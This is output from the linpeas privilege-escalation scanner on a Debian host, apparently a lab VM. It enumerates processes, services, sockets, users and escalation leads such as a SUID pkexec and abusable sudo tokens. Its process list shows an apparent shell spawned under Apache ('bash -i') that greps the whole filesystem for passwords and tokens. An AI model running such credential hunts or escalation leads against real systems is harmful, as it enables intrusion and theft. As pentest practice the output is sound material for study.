═╣ IBM Cloud VM? ........................ No
═╣ Azure VM or Az metadata? ............. No
═╣ Azure APP or IDENTITY_ENDPOINT? ...... No
═╣ Azure Automation Account? ............ No
═╣ Aliyun ECS? .......................... No
═╣ Tencent CVM? ......................... No
                ╔════════════════════════════════════════════════╗                                              
════════════════╣ Processes, Crons, Timers, Services and Sockets ╠════════════════                              
                ╚════════════════════════════════════════════════╝                                              
╔══════════╣ Running processes (cleaned)
╚ Check weird &amp;amp; unexpected processes run by root: https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#processes                             
root           1  0.0  0.4  98844 10204 ?        Ss   01:27   0:00 /sbin/init
root         225  0.0  0.7  48996 14788 ?        Ss   01:27   0:00 /lib/systemd/systemd-journald
root         249  0.0  0.2  22280  5776 ?        Ss   01:27   0:00 /lib/systemd/systemd-udevd
systemd+     278  0.0  0.3  89036  6208 ?        Ssl  01:27   0:00 /lib/systemd/systemd-timesyncd
  └─(Caps) 0x0000000002000000=cap_sys_time
root         320  0.0  0.1   6736  2700 ?        Ss   01:27   0:00 /usr/sbin/cron -f
message+     321  0.0  0.2   7836  4268 ?        Ss   01:27   0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
  └─(Caps) 0x0000000020000000=cap_audit_write
root         323  0.0  0.2 222784  5796 ?        Ssl  01:27   0:00 /usr/sbin/rsyslogd -n -iNONE
root         336  0.0  0.3  22532  7400 ?        Ss   01:27   0:00 /lib/systemd/systemd-logind
root         339  0.0  0.2   9588  5672 ?        Ss   01:27   0:00 /sbin/dhclient -4 -v -i -pf /run/dhclient.enp0s3.pid -lf /var/lib/dhcp/dhclient.enp0s3.leases -I -df /var/lib/dhcp/dhclient6.enp0s3.leases enp0s3
root         361  0.0  0.0   2500  1640 ?        S    01:27   0:00 /usr/sbin/inetutils-inetd
root         367  0.0  0.0   5840  1664 tty1     Ss+  01:27   0:00 /sbin/agetty -o -p -- u --noclear tty1 linux
Eecho      12527  0.0  0.2  14508  5688 ?        S    02:12   0:00  |   _ sshd: Eecho@pts/0
Eecho      12528  0.0  0.1   7084  3756 pts/0    Ss   02:12   0:00  |       _ -bash
Eecho      12580  0.0  0.1   3420  2536 pts/0    S+   02:19   0:00  |           _ /bin/sh ./linpeas.sh
Eecho      15655  0.0  0.0   3420  1032 pts/0    S+   02:22   0:00  |               _ /bin/sh ./linpeas.sh
Eecho      15659  0.0  0.1  11844  3364 pts/0    R+   02:22   0:00  |               |   _ ps fauxwww
Eecho      15658  0.0  0.0   3420  1032 pts/0    S+   02:22   0:00  |               _ /bin/sh ./linpeas.sh
Eecho      12554  0.0  0.2  14508  4704 ?        S    02:14   0:00      _ sshd: Eecho@pts/1
Eecho      12555  0.0  0.1   7084  3628 pts/1    Ss+  02:14   0:00          _ -bash
root         386  0.0  0.1   8556  3852 ?        Ss   01:27   0:00 /usr/sbin/vsftpd /etc/vsftpd.conf
root         394  0.0  1.0 108880 21148 ?        Ssl  01:27   0:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal
root         427  0.0  1.7 253832 34820 ?        Ss   01:27   0:00 /usr/sbin/apache2 -k start
www-data     626  0.1  0.9 254164 18968 ?        S    01:35   0:03  _ /usr/sbin/apache2 -k start
www-data     627  0.1  0.8 254164 16800 ?        S    01:35   0:03  _ /usr/sbin/apache2 -k start
www-data     629  0.1  0.8 254020 16628 ?        S    01:35   0:03  _ /usr/sbin/apache2 -k start
www-data     634  0.1  0.8 254020 16740 ?        S    01:35   0:03  _ /usr/sbin/apache2 -k start
www-data   12266  0.0  0.0   2472   568 ?        S    02:02   0:00  |   _ sh -c uname -a; w; id; bash -i
www-data   12271  0.0  0.1   3952  3176 ?        S    02:02   0:00  |       _ bash -i
www-data   12272  0.0  0.1   3428  2244 ?        S    02:02   0:00  |           _ grep -RIn --color=auto password|passwd|pwd|secret|token|apikey|api_key|key=|db_pass|db_user|mysql|redis|auth /
www-data     637  0.1  0.8 254156 16944 ?        S    01:35   0:03  _ /usr/sbin/apache2 -k start
www-data     642  0.1  0.8 254020 17096 ?        S    01:35   0:03  _ /usr/sbin/apache2 -k start
www-data     647  0.1  0.8 254156 16824 ?        S    01:35   0:03  _ /usr/sbin/apache2 -k start
www-data     648  0.1  0.8 254028 16464 ?        S    01:35   0:03  _ /usr/sbin/apache2 -k start
www-data     675  0.1  0.8 254156 16948 ?        S    01:35   0:03  _ /usr/sbin/apache2 -k start
www-data     685  0.1  0.8 254020 16412 ?        S    01:35   0:03  _ /usr/sbin/apache2 -k start
Eecho      12507  0.0  0.4  15924  8888 ?        Ss   02:12   0:00 /lib/systemd/systemd --user
Eecho      12508  0.0  0.1  99760  2468 ?        S    02:12   0:00  _ (sd-pam)
╔══════════╣ Processes with unusual configurations
                                                        
╔══════════╣ Processes with credentials in memory (root req)                                                    
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#credentials-from-process-memory                                                       
gdm-password Not Found                                  
gnome-keyring-daemon Not Found                          
lightdm Not Found                                       
vsftpd process found (dump creds from memory as root)   
apache2 process found (dump creds from memory as root)
sshd: process found (dump creds from memory as root)
mysql process found (dump creds from memory as root)
postgres Not Found
redis-server Not Found                                  
mongod Not Found                                        
memcached Not Found                                     
elasticsearch Not Found                                 
jenkins Not Found                                       
tomcat Not Found                                        
nginx Not Found                                         
php-fpm Not Found                                       
supervisord Not Found                                   
vncserver Not Found                                     
xrdp Not Found                                          
teamviewer Not Found                                                                                       
╔══════════╣ Opened Files by processes
Process 12507 (Eecho) - /lib/systemd/systemd --user     
  └─ Has open files:
    └─ /proc/12507/mountinfo
    └─ /proc/swaps
    └─ /sys/fs/cgroup/user.slice/user-1000.slice/user@1000.service
Process 12528 (Eecho) - -bash 
  └─ Has open files:
    └─ /dev/pts/0
Process 12555 (Eecho) - -bash 
  └─ Has open files:
    └─ /dev/pts/1
╔══════════╣ Processes with memory-mapped credential files                                                                                                            
╔══════════╣ Processes whose PPID belongs to a different user (not root)                                        
╚ You will know if a user can somehow spawn processes as a different user                                                                                            
╔══════════╣ Files opened by processes belonging to other users                                                 
╚ This is usually empty because of the lack of privileges to read other user processes information                                                                    
╔══════════╣ Check for vulnerable cron jobs
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#scheduledcron-jobs            
══╣ Cron jobs list                                      
/usr/bin/crontab                                        
incrontab Not Found
-rw-r--r-- 1 root root    1042 Oct 11  2019 /etc/crontab
/etc/cron.d:
total 16
drwxr-xr-x  2 root root 4096 Apr  1  2025 .
drwxr-xr-x 83 root root 4096 Jan 24 02:15 ..
-rw-r--r--  1 root root  712 Mar  9  2025 php
-rw-r--r--  1 root root  102 Oct 11  2019 .placeholder
/etc/cron.daily:
total 36
drwxr-xr-x  2 root root 4096 Apr  1  2025 .
drwxr-xr-x 83 root root 4096 Jan 24 02:15 ..
-rwxr-xr-x  1 root root  539 Jul  1  2024 apache2
-rwxr-xr-x  1 root root 1478 Apr 19  2021 apt-compat
-rwxr-xr-x  1 root root  355 Dec 29  2017 bsdmainutils
-rwxr-xr-x  1 root root 1187 May 24  2022 dpkg
-rwxr-xr-x  1 root root  377 Aug 28  2018 logrotate
-rwxr-xr-x  1 root root  249 Sep 27  2017 passwd
-rw-r--r--  1 root root  102 Oct 11  2019 .placeholder
/etc/cron.hourly:
total 12
drwxr-xr-x  2 root root 4096 Mar 18  2025 .
drwxr-xr-x 83 root root 4096 Jan 24 02:15 ..
-rw-r--r--  1 root root  102 Oct 11  2019 .placeholder
/etc/cron.monthly:
total 12
drwxr-xr-x  2 root root 4096 Mar 18  2025 .
drwxr-xr-x 83 root root 4096 Jan 24 02:15 ..
-rw-r--r--  1 root root  102 Oct 11  2019 .placeholder
/etc/cron.weekly:
total 12
drwxr-xr-x  2 root root 4096 Mar 18  2025 .
drwxr-xr-x 83 root root 4096 Jan 24 02:15 ..
-rw-r--r--  1 root root  102 Oct 11  2019 .placeholder
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
17 *    * * *   root    cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.monthly )
══╣ Checking for specific cron jobs vulnerabilities
Checking cron directories...                            

╔══════════╣ System timers
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#timers                        
══╣ Active timers:                                      
NEXT                        LEFT          LAST                        PASSED        UNIT                         ACTIVATES
Sat 2026-01-24 02:39:00 EST 16min left    Sat 2026-01-24 02:09:43 EST 12min ago     phpsessionclean.timer        phpsessionclean.service
Sat 2026-01-24 06:54:10 EST 4h 31min left Sat 2026-01-24 02:07:53 EST 14min ago     apt-daily-upgrade.timer      apt-daily-upgrade.service
Sat 2026-01-24 08:00:10 EST 5h 37min left Thu 2026-01-22 12:17:33 EST 1 day 14h ago apt-daily.timer              apt-daily.service
Sun 2026-01-25 00:00:00 EST 21h left      Sat 2026-01-24 01:26:56 EST 55min ago     logrotate.timer              logrotate.service
Sun 2026-01-25 01:42:43 EST 23h left      Sat 2026-01-24 01:42:43 EST 39min ago     systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service
══╣ Disabled timers:
══╣ Additional timer files:                             
                                                      
╔══════════╣ Services and Service Files
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#services                      
                                                        
══╣ Active services:
apache2.service                    loaded active running The Apache HTTP Server
./linpeas.sh: 3944: local: /usr/sbin/apachectl: bad variable name
 Not Found                                                   
══╣ Disabled services:
apache-htcacheclean.service            disabled enabled 
apache-htcacheclean@.service           disabled enabled
apache2@.service                       disabled enabled
console-getty.service                  disabled disabled
debug-shell.service                    disabled disabled
ifupdown-wait-online.service           disabled enabled
irc_bot.service                        disabled enabled
serial-getty@.service                  disabled enabled
systemd-boot-check-no-failures.service disabled disabled
systemd-network-generator.service      disabled disabled
systemd-networkd-wait-online.service   disabled disabled
systemd-networkd.service               disabled enabled
systemd-resolved.service               disabled enabled
systemd-time-wait-sync.service         disabled disabled
14 unit files listed.
══╣ Additional service files:
./linpeas.sh: 3944: local: /usr/sbin/apachectl: bad variable name
You can&amp;#39;t write on systemd PATH
╔══════════╣ Systemd Information
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#systemd-path---relative-paths 
═╣ Systemd version and vulnerabilities? .............. 247.3                                                    
═╣ Services running as root? ..... 
═╣ Running services with dangerous capabilities? ... 
═╣ Services with writable paths? . apache2.service: Uses relative path &amp;#39;start&amp;#39; (from ExecStart=/usr/sbin/apachectl start)                                               
rsyslog.service: Uses relative path &amp;#39;-n&amp;#39; (from ExecStart=/usr/sbin/rsyslogd -n -iNONE)                          
╔══════════╣ Systemd PATH
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#systemd-path---relative-paths 
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

╔══════════╣ Analyzing .socket files
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sockets                       
./linpeas.sh: 4207: local: /run/systemd/journal/stdout: bad variable name

╔══════════╣ Unix Sockets Analysis
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sockets                       
/run/dbus/system_bus_socket                             
  └─(Read Write (Weak Permissions: 666) )
  └─(Owned by root)
/run/systemd/fsck.progress
/run/systemd/inaccessible/sock
/run/systemd/io.system.ManagedOOM
  └─(Read Write (Weak Permissions: 666) )
  └─(Owned by root)
/run/systemd/journal/dev-log
  └─(Read Write (Weak Permissions: 666) )
  └─(Owned by root)
/run/systemd/journal/io.systemd.journal
/run/systemd/journal/socket
  └─(Read Write (Weak Permissions: 666) )
  └─(Owned by root)
/run/systemd/journal/stdout
  └─(Read Write (Weak Permissions: 666) )
  └─(Owned by root)
/run/systemd/journal/syslog
  └─(Read Write (Weak Permissions: 666) )
  └─(Owned by root)
/run/systemd/notify
  └─(Read Write Execute (Weak Permissions: 777) )
  └─(Owned by root)
/run/systemd/private
  └─(Read Write Execute (Weak Permissions: 777) )
  └─(Owned by root)
/run/systemd/userdb/io.systemd.DynamicUser
  └─(Read Write (Weak Permissions: 666) )
  └─(Owned by root)
/run/udev/control
/run/user/1000/bus
  └─(Read Write (Weak Permissions: 666) )
/run/user/1000/gnupg/S.dirmngr
  └─(Read Write )
/run/user/1000/gnupg/S.gpg-agent
  └─(Read Write )
/run/user/1000/gnupg/S.gpg-agent.browser
  └─(Read Write )
/run/user/1000/gnupg/S.gpg-agent.extra
  └─(Read Write )
/run/user/1000/gnupg/S.gpg-agent.ssh
  └─(Read Write )
/run/user/1000/pk-debconf-socket
  └─(Read Write (Weak Permissions: 666) )
/run/user/1000/systemd/inaccessible/sock
/run/user/1000/systemd/notify
  └─(Read Write Execute )
/run/user/1000/systemd/private
  └─(Read Write Execute )
╔══════════╣ D-Bus Analysis
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#d-bus                         
NAME                            PID PROCESS         USER             CONNECTION    UNIT                        SESSION DESCRIPTION
:1.0                            278 systemd-timesyn systemd-timesync :1.0          systemd-timesyncd.service   -       -
:1.1                              1 systemd         root             :1.1          init.scope                  -       -
:1.136                        24323 busctl          Eecho            :1.136        session-3.scope             3       -
:1.2                            336 systemd-logind  root             :1.2          systemd-logind.service      -       -
:1.3                            394 unattended-upgr root             :1.3          unattended-upgrades.service -       -
:1.6                          12507 systemd         Eecho            :1.6          user@1000.service           -       -
com.ubuntu.SoftwareProperties     - -               -                (activatable) -                           -       -
org.freedesktop.DBus              1 systemd         root             -             init.scope                  -       -
org.freedesktop.PackageKit        - -               -                (activatable) -                           -       -
org.freedesktop.PolicyKit1        - -               -                (activatable) -                           -       -
org.freedesktop.hostname1         - -               -                (activatable) -                           -       -
org.freedesktop.locale1           - -               -                (activatable) -                           -       -
org.freedesktop.login1          336 systemd-logind  root             :1.2          systemd-logind.service      -       -
org.freedesktop.network1          - -               -                (activatable) -                           -       -
org.freedesktop.resolve1          - -               -                (activatable) -                           -       -
org.freedesktop.systemd1          1 systemd         root             :1.1          init.scope                  -       -
org.freedesktop.timedate1         - -               -                (activatable) -                           -       -
org.freedesktop.timesync1       278 systemd-timesyn systemd-timesync :1.0          systemd-timesyncd.service   -       -
╔══════════╣ D-Bus Configuration Files
Analyzing /etc/dbus-1/system.d/com.ubuntu.SoftwareProperties.conf:
  └─(Allow rules in default context)
             └─     &amp;lt;allow send_destination=&amp;quot;com.ubuntu.SoftwareProperties&amp;quot;
            &amp;lt;allow send_destination=&amp;quot;com.ubuntu.SoftwareProperties&amp;quot;
            &amp;lt;allow send_destination=&amp;quot;com.ubuntu.DeviceDriver&amp;quot;
Analyzing /etc/dbus-1/system.d/org.freedesktop.PackageKit.conf:
  └─(Allow rules in default context)
             └─     &amp;lt;allow send_destination=&amp;quot;org.freedesktop.PackageKit&amp;quot;
            &amp;lt;allow send_destination=&amp;quot;org.freedesktop.PackageKit&amp;quot;
            &amp;lt;allow send_destination=&amp;quot;org.freedesktop.PackageKit&amp;quot;

══╣ D-Bus Session Bus Analysis
(Access to session bus available)                       
           string &amp;quot;org.freedesktop.DBus&amp;quot;
           string &amp;quot;org.freedesktop.systemd1&amp;quot;
           string &amp;quot;:1.0&amp;quot;
           string &amp;quot;:1.2&amp;quot;
  └─(Known dangerous session service: org.freedesktop.systemd1)                                                 
     └─ Try: dbus-send --session --dest=org.freedesktop.systemd1 / [Interface] [Method] [Arguments]
╔══════════╣ Legacy r-commands (rsh/rlogin/rexec) and host-based trust                                          
                                                        
══╣ Listening r-services (TCP 512-514)
                                                        
══╣ systemd units exposing r-services
rlogin|rsh|rexec units Not Found                        
                                                        
══╣ inetd/xinetd configuration for r-services
  No r-services found in /etc/inetd.conf                
/etc/xinetd.d Not Found                                                 
══╣ Installed r-service server packages
ii  inetutils-inetd               2:2.0-1+deb11u2                             amd64        internet super server
══╣ /etc/hosts.equiv and /etc/shosts.equiv
                                                        
══╣ Per-user .rhosts files
.rhosts Not Found                                                                                           
══╣ PAM rhosts authentication
/etc/pam.d/rlogin|rsh Not Found                                                                           
══╣ SSH HostbasedAuthentication
  HostbasedAuthentication no or not set                
══╣ Potential DNS control indicators (local)
  Not detected                                          

╔══════════╣ Crontab UI (root) misconfiguration checks
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#scheduledcron-jobs            
crontab-ui Not Found                                                                                           
                              ╔═════════════════════╗
══════════════════════════════╣ Network Information ╠══════════════════════════════                             
                              ╚═════════════════════╝   
╔══════════╣ Interfaces
default         0.0.0.0                                 
loopback        127.0.0.0
link-local      169.254.0.0

1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: enp0s3: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 08:00:27:bf:9e:c8 brd ff:ff:ff:ff:ff:ff
    inet 192.168.0.106/24 brd 192.168.0.255 scope global dynamic enp0s3
       valid_lft 6769sec preferred_lft 6769sec
    inet6 fe80::a00:27ff:febf:9ec8/64 scope link 
       valid_lft forever preferred_lft forever
╔══════════╣ Hostname, hosts and DNS
══╣ Hostname Information                                
System hostname: Happiness                              
FQDN: Happiness

══╣ Hosts File Information
Contents of /etc/hosts:                                 
  127.0.0.1     localhost
  127.0.1.1     PyCrt.PyCrt     PyCrt
  ::1     localhost ip6-localhost ip6-loopback
  ff02::1 ip6-allnodes
  ff02::2 ip6-allrouters
  127.0.0.1 Happiness
══╣ DNS Configuration
DNS Servers (resolv.conf):                              
  192.168.1.1
  192.168.0.1
-e 
Systemd-resolved configuration:
  [Resolve]
-e 
DNS Domain Information:
(none)
-e 
DNS Cache Status (systemd-resolve):
╔══════════╣ Active Ports
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#open-ports                    
══╣ Active Ports (ss)                                   
tcp     LISTEN   0        32               0.0.0.0:21            0.0.0.0:*      
tcp     LISTEN   0        128              0.0.0.0:22            0.0.0.0:*      
tcp     LISTEN   0        10             127.0.0.1:23            0.0.0.0:*      
tcp     LISTEN   0        10             127.0.0.1:37            0.0.0.0:*      
tcp     LISTEN   0        10             127.0.0.1:7             0.0.0.0:*      
tcp     LISTEN   0        10             127.0.0.1:9             0.0.0.0:*      
tcp     LISTEN   0        10             127.0.0.1:13            0.0.0.0:*      
tcp     LISTEN   0        10             127.0.0.1:19            0.0.0.0:*      
tcp     LISTEN   0        128                 [::]:22               [::]:*      
tcp     LISTEN   0        128                    *:80                  *:*      

╔══════════╣ Network Traffic Analysis Capabilities
                                                        
══╣ Available Sniffing Tools
No sniffing tools found                                 

══╣ Network Interfaces Sniffing Capabilities
Interface enp0s3: Not sniffable                         
No sniffable interfaces found

╔══════════╣ Firewall Rules Analysis
                                                        
══╣ Iptables Rules
No permission to list iptables rules                    

══╣ Nftables Rules
nftables Not Found                                      
                                                        
══╣ Firewalld Rules
firewalld Not Found                                     
                                                        
══╣ UFW Rules
ufw Not Found                                           
                                                        
╔══════════╣ Inetd/Xinetd Services Analysis
                                                        
══╣ Inetd Services
inetd Not Found                                                                                        
══╣ Xinetd Services
xinetd Not Found                                        
                                                        
══╣ Running Inetd/Xinetd Services
-e                                                      
Active Services (from ss):
-e 
Running Service Processes:
361
inetutils-inetd

╔══════════╣ Internet Access?
DNS accessible                                          
ICMP is accessible
Port 443 is accessible
Port 80 is accessible
Port 443 is not accessible with wget



                               ╔═══════════════════╗
═══════════════════════════════╣ Users Information ╠═══════════════════════════════                             
                               ╚═══════════════════╝    
╔══════════╣ My user
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#users                         
uid=1000(Eecho) gid=1000(Eecho) groups=1000(Eecho)      

╔══════════╣ PGP Keys and Related Files
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#pgp-keys                      
GPG:                                                    
GPG is installed, listing keys:
-e 
NetPGP:
netpgpkeys Not Found
-e                                                      
PGP Related Files:
Found: /home/Eecho/.gnupg
total 16
drwx------ 2 Eecho Eecho 4096 Jan 24 02:22 .
drwxr-xr-x 3 Eecho Eecho 4096 Jan 24 02:22 ..
-rw------- 1 Eecho Eecho   32 Jan 24 02:22 pubring.kbx
-rw------- 1 Eecho Eecho 1200 Jan 24 02:22 trustdb.gpg

╔══════════╣ Checking &amp;#39;sudo -l&amp;#39;, /etc/sudoers, and /etc/sudoers.d                                               
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid                 
                                                        

╔══════════╣ Checking sudo tokens
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#reusing-sudo-tokens           
ptrace protection is disabled (0), so sudo tokens could be abused

doas.conf Not Found
                                                        
╔══════════╣ Checking Pkexec and Polkit
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/interesting-groups-linux-pe/index.html#pe---method-2                                             
                                                        
══╣ Polkit Binary
Pkexec binary found at: /usr/bin/pkexec                 
Pkexec binary has SUID bit set!
-rwsr-xr-x 1 root root 23448 Jan 13  2022 /usr/bin/pkexec
pkexec version 0.105

══╣ Polkit Policies
Checking /etc/polkit-1/localauthority.conf.d/:          

[Configuration]
AdminIdentities=unix-user:0
[Configuration]
AdminIdentities=unix-group:sudo
Checking /usr/share/polkit-1/rules.d/:
polkit.addRule(function(action, subject) {
    if ((action.id == &amp;quot;org.freedesktop.packagekit.upgrade-system&amp;quot; ||
         action.id == &amp;quot;org.freedesktop.packagekit.trigger-offline-update&amp;quot;) &amp;amp;&amp;amp;
        subject.active == true &amp;amp;&amp;amp; subject.local == true &amp;amp;&amp;amp;
        subject.isInGroup(&amp;quot;sudo&amp;quot;)) {
            return polkit.Result.YES;
    }
});
// Allow systemd-networkd to set timezone, get product UUID,
// and transient hostname
polkit.addRule(function(action, subject) {
    if ((action.id == &amp;quot;org.freedesktop.hostname1.set-hostname&amp;quot; ||
         action.id == &amp;quot;org.freedesktop.hostname1.get-product-uuid&amp;quot; ||
         action.id == &amp;quot;org.freedesktop.timedate1.set-timezone&amp;quot;) &amp;amp;&amp;amp;
        subject.user == &amp;quot;systemd-network&amp;quot;) {
        return polkit.Result.YES;
    }
});

══╣ Polkit Authentication Agent
                                                        
╔══════════╣ Superusers and UID 0 Users
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/interesting-groups-linux-pe/index.html   
                                                        
══╣ Users with UID 0 in /etc/passwd
root:x:0:0:root:/root:/bin/bash                         

══╣ Users with sudo privileges in sudoers
                                                        
╔══════════╣ Users with console
Eecho:x:1000:1000::/home/Eecho:/bin/bash                
root:x:0:0:root:/root:/bin/bash

╔══════════╣ All users &amp;amp; groups
uid=0(root) gid=0(root) groups=0(root)                  
uid=1000(Eecho) gid=1000(Eecho) groups=1000(Eecho)
uid=100(_apt) gid=65534(nogroup) groups=65534(nogroup)
uid=101(systemd-timesync) gid=102(systemd-timesync) groups=102(systemd-timesync)
uid=102(systemd-network) gid=103(systemd-network) groups=103(systemd-network)
uid=103(systemd-resolve) gid=104(systemd-resolve) groups=104(systemd-resolve)
uid=104(messagebus) gid=110(messagebus) groups=110(messagebus)                                                  
uid=105(sshd) gid=65534(nogroup) groups=65534(nogroup)
uid=106(ftp) gid=113(ftp) groups=113(ftp)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=1(daemon[0m) gid=1(daemon[0m) groups=1(daemon[0m)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)                                                      
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=999(systemd-coredump) gid=999(systemd-coredump) groups=999(systemd-coredump)
uid=9(news) gid=9(news) groups=9(news)

╔══════════╣ Currently Logged in Users
                                                        
══╣ Basic user information
 02:22:30 up 55 min,  2 users,  load average: 0.30, 0.09, 1.28
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
Eecho    pts/0    192.168.0.108    02:12    3:26   0.09s  0.00s w
Eecho    pts/1    192.168.0.108    02:14    1:24   0.00s  0.00s -bash

══╣ Active sessions
 02:22:30 up 55 min,  2 users,  load average: 0.30, 0.09, 1.28
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
Eecho    pts/0    192.168.0.108    02:12    3:26   0.09s  0.00s w
Eecho    pts/1    192.168.0.108    02:14    1:24   0.00s  0.00s -bash

══╣ Logged in users (utmp)
           system boot  2026-01-24 01:26                
           run-level 5  2026-01-24 01:26
LOGIN      tty1         2026-01-24 01:26               367 id=tty1
Eecho    + pts/0        2026-01-24 02:12 00:03       12504 (192.168.0.108)
Eecho    + pts/1        2026-01-24 02:14 00:01       12547 (192.168.0.108)

══╣ SSH sessions
ESTAB      0      0                192.168.0.106:22               192.168.0.108:36408                                                                           
ESTAB      0      0                192.168.0.106:22               192.168.0.108:39356                                                                           

══╣ Screen sessions
                                                        
══╣ Tmux sessions
                                                        
╔══════════╣ Last Logons and Login History
                                                        
══╣ Last logins
Eecho    pts/1        192.168.0.108    Sat Jan 24 02:14   still logged in
Eecho    pts/0        192.168.0.108    Sat Jan 24 02:12   still logged in
reboot   system boot  4.19.0-27-amd64  Sat Jan 24 01:26   still running
root     pts/0        192.168.1.12     Thu Jan 22 23:44 - crash (1+01:42)
root     pts/0        192.168.1.12     Thu Jan 22 23:42 - 23:43  (00:01)
reboot   system boot  4.19.0-27-amd64  Thu Jan 22 23:41   still running
root     pts/0        192.168.1.8      Thu Jan 22 13:49 - crash  (09:52)
reboot   system boot  4.19.0-27-amd64  Thu Jan 22 13:48   still running
root     pts/0        192.168.1.8      Thu Jan 22 13:29 - crash  (00:18)
reboot   system boot  4.19.0-27-amd64  Thu Jan 22 13:28   still running
root     pts/0        192.168.1.8      Thu Jan 22 13:05 - 13:05  (00:00)
root     pts/0        192.168.1.8      Thu Jan 22 10:41 - 13:05  (02:24)
reboot   system boot  4.19.0-27-amd64  Thu Jan 22 10:40   still running
welcome  pts/0        192.168.3.94     Fri Apr 11 22:27 - 22:28  (00:00)
root     pts/0        192.168.3.94     Fri Apr 11 22:27 - 22:27  (00:00)
reboot   system boot  4.19.0-27-amd64  Fri Apr 11 22:26   still running
root     pts/0        192.168.3.94     Fri Apr 11 22:23 - 22:25  (00:01)
reboot   system boot  4.19.0-27-amd64  Fri Apr 11 22:23 - 22:25  (00:02)
root     pts/0        192.168.3.94     Fri Apr 11 22:15 - 22:22  (00:07)
reboot   system boot  4.19.0-27-amd64  Fri Apr 11 22:14 - 22:22  (00:08)

wtmp begins Tue Mar 18 20:40:32 2025

══╣ Failed login attempts
                                                        
══╣ Recent logins from auth.log (limit 20)
                                                        
══╣ Last time logon each user
Username         Port     From             Latest       
root             pts/0    192.168.1.12     Thu Jan 22 23:44:10 -0500 2026
Eecho            pts/1    192.168.0.108    Sat Jan 24 02:14:41 -0500 2026

╔══════════╣ Do not forget to test &amp;#39;su&amp;#39; as any other user with shell: without password and with their names as password (I don&amp;#39;t do it in FAST mode...)                 
                                                        
╔══════════╣ Do not forget to execute &amp;#39;sudo -l&amp;#39; without password or with valid password (if you know it)!!      
                                                        


                             ╔══════════════════════╗
═════════════════════════════╣ Software Information ╠═════════════════════════════                              
                             ╚══════════════════════╝   
╔══════════╣ Useful software
/usr/bin/base64                                         
/usr/bin/g++
/usr/bin/gcc
/usr/bin/make
/usr/bin/perl
/usr/bin/php
/usr/bin/ping
/usr/bin/python3
/usr/bin/python3.7
/usr/bin/ruby
/usr/bin/sudo
/usr/bin/wget

╔══════════╣ Installed Compilers
ii  g++                           4:10.2.1-1                                  amd64        GNU C++ compiler
ii  g++-10                        10.2.1-6                                    amd64        GNU C++ compiler
ii  gcc                           4:10.2.1-1                                  amd64        GNU C compiler
ii  gcc-10                        10.2.1-6                                    amd64        GNU C compiler
/usr/bin/gcc

╔══════════╣ Analyzing Apache-Nginx Files (limit 70)
Apache version: Server version: Apache/2.4.62 (Debian)  
Server built:   2024-08-15T01:18:37
httpd Not Found
                                                        
Nginx version: nginx Not Found
                                                        
/etc/apache2/mods-enabled/php8.3.conf-&amp;lt;FilesMatch &amp;quot;.+\.ph(?:ar|p|tml)$&amp;quot;&amp;gt;
/etc/apache2/mods-enabled/php8.3.conf:    SetHandler application/x-httpd-php
--
/etc/apache2/mods-enabled/php8.3.conf-&amp;lt;FilesMatch &amp;quot;.+\.phps$&amp;quot;&amp;gt;
